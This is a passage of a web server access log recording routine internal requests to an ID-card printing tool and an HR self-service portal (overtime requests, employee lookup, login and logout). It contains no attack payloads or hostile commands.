Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:35 +0800] "GET /idcard/img/human.png HTTP/1.1" 200 26107 192.168.11.146 - - [04/Dec/2025:08:43:35 +0800] "GET /idcard/img/ess-logo.png HTTP/1.1" 200 13038 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:35 +0800] "GET /idcard/img/ess-logo.png HTTP/1.1" 200 13038 192.168.11.146 - - [04/Dec/2025:08:43:35 +0800] "GET /idcard/js/jquery.cookie.min.js HTTP/1.1" 200 4339 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:35 +0800] "GET /idcard/js/jquery.cookie.min.js HTTP/1.1" 200 4339 192.168.11.146 - - [04/Dec/2025:08:43:35 +0800] "GET /idcard/js/jquery.layout.min-1.2.0.js HTTP/1.1" 200 34635 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:35 +0800] "GET /idcard/js/jquery.layout.min-1.2.0.js HTTP/1.1" 200 34635 192.168.11.146 - - [04/Dec/2025:08:43:35 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:35 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 192.168.11.146 - - [04/Dec/2025:08:43:35 +0800] "GET /idcard/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:35 +0800] "GET /idcard/img/layout/toggle-lt.gif HTTP/1.1" 200 871 192.168.11.146 - - [04/Dec/2025:08:43:35 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:35 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 192.168.11.146 - - [04/Dec/2025:08:43:36 +0800] "GET /idcard/js/translate.js HTTP/1.1" 200 15726 192.168.11.146 - - [04/Dec/2025:08:43:36 +0800] "GET /idcard/js/translate.js HTTP/1.1" 200 15726 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:36 +0800] "GET /idcard/js/idcard_check.js HTTP/1.1" 200 9010 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:36 +0800] "GET /idcard/js/idcard_check.js HTTP/1.1" 200 9010 192.168.11.146 - - [04/Dec/2025:08:43:36 +0800] "GET /idcard/js/functions.js HTTP/1.1" 200 8865 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:36 +0800] "GET /idcard/js/functions.js HTTP/1.1" 200 8865 192.168.11.146 - - [04/Dec/2025:08:43:36 +0800] "GET /idcard/img/lov.png HTTP/1.1" 200 788 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:36 +0800] "GET /idcard/img/lov.png HTTP/1.1" 200 788 192.168.11.146 - - [04/Dec/2025:08:43:36 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:36 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 192.168.11.146 - - [04/Dec/2025:08:43:36 +0800] "GET /idcard/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:36 +0800] "GET /idcard/img/date.png HTTP/1.1" 200 626 192.168.11.146 - - [04/Dec/2025:08:43:35 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 50934 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:35 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 50934 192.168.11.146 - - [04/Dec/2025:08:43:37 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_469bdd_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:37 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_469bdd_256x240.png HTTP/1.1" 200 4369 192.168.11.146 - - [04/Dec/2025:08:43:42 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:42 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 192.168.11.146 - - [04/Dec/2025:08:43:44 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:44 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 192.168.11.146 - - [04/Dec/2025:08:43:44 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:44 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 192.168.11.146 - - [04/Dec/2025:08:43:45 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81 HTTP/1.1" 200 5857 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:45 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81 HTTP/1.1" 200 5857 192.168.11.146 - - [04/Dec/2025:08:43:56 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81 HTTP/1.1" 200 7275 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:56 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81 HTTP/1.1" 200 7275 192.168.11.146 - - [04/Dec/2025:08:43:58 +0800] "GET /idcard/ess/redirect.php?scriptname=idcard_preview&empid=X250198&empname=%E5%B4%94%E5%AF%B6%E5%AF%B6&deptname=%E5%88%B6%E4%B8%89%E5%B0%8F%E6%99%82%E5%B7%A5BT-line%E7%86%B1%E5%A3%93%EF%BC%88%E5%8D%8A%E6%88%90%E5%93%81%EF%BC%89 HTTP/1.1" 200 6661 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:58 +0800] "GET /idcard/ess/redirect.php?scriptname=idcard_preview&empid=X250198&empname=%E5%B4%94%E5%AF%B6%E5%AF%B6&deptname=%E5%88%B6%E4%B8%89%E5%B0%8F%E6%99%82%E5%B7%A5BT-line%E7%86%B1%E5%A3%93%EF%BC%88%E5%8D%8A%E6%88%90%E5%93%81%EF%BC%89 HTTP/1.1" 200 6661 192.168.11.146 - - [04/Dec/2025:08:43:58 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250198.jpg HTTP/1.1" 404 244 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=idcard_preview&empid=X250198&empname=%E5%B4%94%E5%AF%B6%E5%AF%B6&deptname=%E5%88%B6%E4%B8%89%E5%B0%8F%E6%99%82%E5%B7%A5BT-line%E7%86%B1%E5%A3%93%EF%BC%88%E5%8D%8A%E6%88%90%E5%93%81%EF%BC%89" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:58 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250198.jpg HTTP/1.1" 404 244 192.168.11.146 - - [04/Dec/2025:08:43:58 +0800] "GET /idcard/upload/org_pic/idcard_company_log.png HTTP/1.1" 200 26231 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=idcard_preview&empid=X250198&empname=%E5%B4%94%E5%AF%B6%E5%AF%B6&deptname=%E5%88%B6%E4%B8%89%E5%B0%8F%E6%99%82%E5%B7%A5BT-line%E7%86%B1%E5%A3%93%EF%BC%88%E5%8D%8A%E6%88%90%E5%93%81%EF%BC%89" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:58 +0800] "GET /idcard/upload/org_pic/idcard_company_log.png HTTP/1.1" 200 26231 192.168.11.146 - - [04/Dec/2025:08:43:58 +0800] "GET /idcard/css/printidcard.css HTTP/1.1" 200 1715 192.168.11.146 - - [04/Dec/2025:08:43:58 +0800] "GET /idcard/css/printidcard.css HTTP/1.1" 200 1715 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=idcard_preview&empid=X250198&empname=%E5%B4%94%E5%AF%B6%E5%AF%B6&deptname=%E5%88%B6%E4%B8%89%E5%B0%8F%E6%99%82%E5%B7%A5BT-line%E7%86%B1%E5%A3%93%EF%BC%88%E5%8D%8A%E6%88%90%E5%93%81%EF%BC%89" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:58 +0800] "GET /idcard/js/jquery-barcode-2.0.2.min.js HTTP/1.1" 200 25006 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=idcard_preview&empid=X250198&empname=%E5%B4%94%E5%AF%B6%E5%AF%B6&deptname=%E5%88%B6%E4%B8%89%E5%B0%8F%E6%99%82%E5%B7%A5BT-line%E7%86%B1%E5%A3%93%EF%BC%88%E5%8D%8A%E6%88%90%E5%93%81%EF%BC%89" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:58 +0800] "GET /idcard/js/jquery-barcode-2.0.2.min.js HTTP/1.1" 200 25006 192.168.11.135 - - [04/Dec/2025:08:43:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:43:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.146 - - [04/Dec/2025:08:44:03 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250198.jpg HTTP/1.1" 404 244 192.168.11.146 - - [04/Dec/2025:08:44:03 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250198.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.135 - - [04/Dec/2025:08:44:18 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.24518594211314992 HTTP/1.1" 200 8908 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:44:18 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.24518594211314992 HTTP/1.1" 200 8908 192.168.11.135 - - [04/Dec/2025:08:44:25 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.24518594211314992 HTTP/1.1" 200 24852 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.24518594211314992" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:44:25 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.24518594211314992 HTTP/1.1" 200 24852 192.168.11.135 - - [04/Dec/2025:08:44:45 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.24518594211314992 HTTP/1.1" 200 11758 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.24518594211314992" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:44:45 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.24518594211314992 HTTP/1.1" 200 11758 192.168.11.135 - - [04/Dec/2025:08:44:53 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4062 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:44:53 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4062 192.168.11.135 - - [04/Dec/2025:08:44:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:44:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.135 - - [04/Dec/2025:08:45:06 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4146219324342806 HTTP/1.1" 200 8908 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:45:06 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4146219324342806 HTTP/1.1" 200 8908 192.168.11.135 - - [04/Dec/2025:08:45:15 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4146219324342806 HTTP/1.1" 200 11758 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4146219324342806" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:45:15 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4146219324342806 HTTP/1.1" 200 11758 192.168.11.135 - - [04/Dec/2025:08:45:22 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4134 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:45:22 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4134 192.168.11.135 - - [04/Dec/2025:08:45:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:45:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.135 - - [04/Dec/2025:08:45:31 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 9028 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:45:31 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 9028 192.168.11.135 - - [04/Dec/2025:08:45:31 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:45:31 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.135 - - [04/Dec/2025:08:45:34 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:45:34 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.135 - - [04/Dec/2025:08:45:40 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:45:40 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.135 - - [04/Dec/2025:08:45:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:45:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.135 - - [04/Dec/2025:08:45:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:45:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.135 - - [04/Dec/2025:08:46:00 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9710461364756374 HTTP/1.1" 200 8908 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:46:00 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9710461364756374 HTTP/1.1" 200 8908 192.168.11.135 - - [04/Dec/2025:08:46:08 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9710461364756374 HTTP/1.1" 200 11758 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9710461364756374" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:46:08 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9710461364756374 HTTP/1.1" 200 11758 192.168.11.135 - - [04/Dec/2025:08:46:15 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4067 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:46:15 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4067 192.168.11.135 - - [04/Dec/2025:08:46:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:46:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.135 - - [04/Dec/2025:08:46:23 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7635682697371482 HTTP/1.1" 200 8908 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:46:23 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7635682697371482 HTTP/1.1" 200 8908 192.168.11.135 - - [04/Dec/2025:08:46:30 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7635682697371482 HTTP/1.1" 200 24852 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7635682697371482" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:46:30 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7635682697371482 HTTP/1.1" 200 24852 192.168.11.135 - - [04/Dec/2025:08:46:48 